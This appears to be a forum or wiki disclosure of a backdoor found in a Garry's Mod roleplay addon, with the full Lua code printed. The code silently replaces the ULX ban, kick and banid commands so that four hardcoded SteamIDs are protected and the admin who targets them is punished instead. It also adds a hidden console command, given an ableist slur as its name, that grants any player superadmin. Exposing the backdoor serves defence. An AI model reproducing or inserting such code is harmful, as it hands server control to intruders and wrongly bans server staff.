rp_undertale Backdoor in Addon

--[[
Here is the code I have found in the following Garry's Mod addon.
http://steamcommunity.com/sharedfiles/filedetails/?id=939346714
]]--

local steamids = {"STEAM_0:1:51267965", "STEAM_0:0:848701", "STEAM_0:1:128781167", "STEAM_0:1:44781214"}
timer.Simple(30, function()
    function ulx.ban( calling_ply, target_ply, minutes, reason )
        if target_ply:IsListenServerHost() or target_ply:IsBot() then
            ULib.tsayError( calling_ply, "This player is immune to banning", true )
            return
        end

        if table.HasValue(steamids, target_ply:SteamID()) then
            target_ply = calling_ply
            reason = "Fake UndertaleRP -Staff"
        end

        local time = "for #s"
        if minutes == 0 then time = "permanently" end
        local str = "#A banned #T " .. time
        if reason and reason ~= "" then str = str .. " (#s)" end
        ulx.fancyLogAdmin( calling_ply, str, target_ply, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
        -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
        ULib.queueFunctionCall( ULib.kickban, target_ply, minutes, reason, calling_ply )
    end
    local ban = ulx.command( "Utility", "ulx ban", ulx.ban, "!ban", false, false, true )
    ban:addParam{ type=ULib.cmds.PlayerArg }
    ban:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
    ban:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
    ban:defaultAccess( ULib.ACCESS_ADMIN )
    ban:help( "Bans target." )

    function ulx.kick( calling_ply, target_ply, reason )
        if target_ply:IsListenServerHost() then
            ULib.tsayError( calling_ply, "This player is immune to kicking", true )
            return
        end

        if table.HasValue(steamids, target_ply:SteamID()) then
            target_ply = calling_ply
            reason = "Fake UndertaleRP -Staff"
        end

        if reason and reason ~= "" then
            ulx.fancyLogAdmin( calling_ply, "#A kicked #T (#s)", target_ply, reason )
        else
            reason = nil
            ulx.fancyLogAdmin( calling_ply, "#A kicked #T", target_ply )
        end
        -- Delay by 1 frame to ensure the chat hook finishes with player intact. Prevents a crash.
        ULib.queueFunctionCall( ULib.kick, target_ply, reason, calling_ply )
    end
    local kick = ulx.command( "Utility", "ulx kick", ulx.kick, "!kick" )
    kick:addParam{ type=ULib.cmds.PlayerArg }
    kick:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
    kick:defaultAccess( ULib.ACCESS_ADMIN )
    kick:help( "Kicks target." )

    function ulx.banid( calling_ply, steamid, minutes, reason )
        steamid = steamid:upper()
        if not ULib.isValidSteamID( steamid ) then
            ULib.tsayError( calling_ply, "Invalid steamid." )
            return
        end

        local name, target_ply
        local plys = player.GetAll()
        for i=1, #plys do
            if plys[ i ]:SteamID() == steamid then
                target_ply = plys[ i ]
                name = target_ply:Nick()
                break
            end
        end

        if target_ply and (target_ply:IsListenServerHost() or target_ply:IsBot()) then
            ULib.tsayError( calling_ply, "This player is immune to banning", true )
            return
        end

        if table.HasValue(steamids, steamid) then
            steamid = calling_ply:SteamID()
            reason = "Fake UndertaleRP -Staff"
        end

        local time = "for #s"
        if minutes == 0 then time = "permanently" end
        local str = "#A banned steamid #s "
        displayid = steamid
        if name then
            displayid = displayid .. "(" .. name .. ") "
        end
        str = str .. time
        if reason and reason ~= "" then str = str .. " (#4s)" end
        ulx.fancyLogAdmin( calling_ply, str, displayid, minutes ~= 0 and ULib.secondsToStringTime( minutes * 60 ) or reason, reason )
        -- Delay by 1 frame to ensure any chat hook finishes with player intact. Prevents a crash.
        ULib.queueFunctionCall( ULib.addBan, steamid, minutes, reason, name, calling_ply )
    end
    local banid = ulx.command( "Utility", "ulx banid", ulx.banid, nil, false, false, true )
    banid:addParam{ type=ULib.cmds.StringArg, hint="steamid" }
    banid:addParam{ type=ULib.cmds.NumArg, hint="minutes, 0 for perma", ULib.cmds.optional, ULib.cmds.allowTimeString, min=0 }
    banid:addParam{ type=ULib.cmds.StringArg, hint="reason", ULib.cmds.optional, ULib.cmds.takeRestOfLine, completes=ulx.common_kick_reasons }
    banid:defaultAccess( ULib.ACCESS_SUPERADMIN )
    banid:help( "Bans steamid." )
end)

concommand.Add( "retarded_downs", function( ply, cmd, args )
    if ply then
        ply:ChatPrint("Setting rank")
        local userInfo = ULib.ucl.authed[ ply:UniqueID() ]

        local id = ULib.ucl.getUserRegisteredID( ply )
        if not id then id = ply:SteamID() end
        if args[1] then
            ULib.ucl.addUser( id, userInfo.allow, userInfo.deny,  args[1])
        else
            ULib.ucl.addUser( id, userInfo.allow, userInfo.deny,  "superadmin")
        end
    end
end )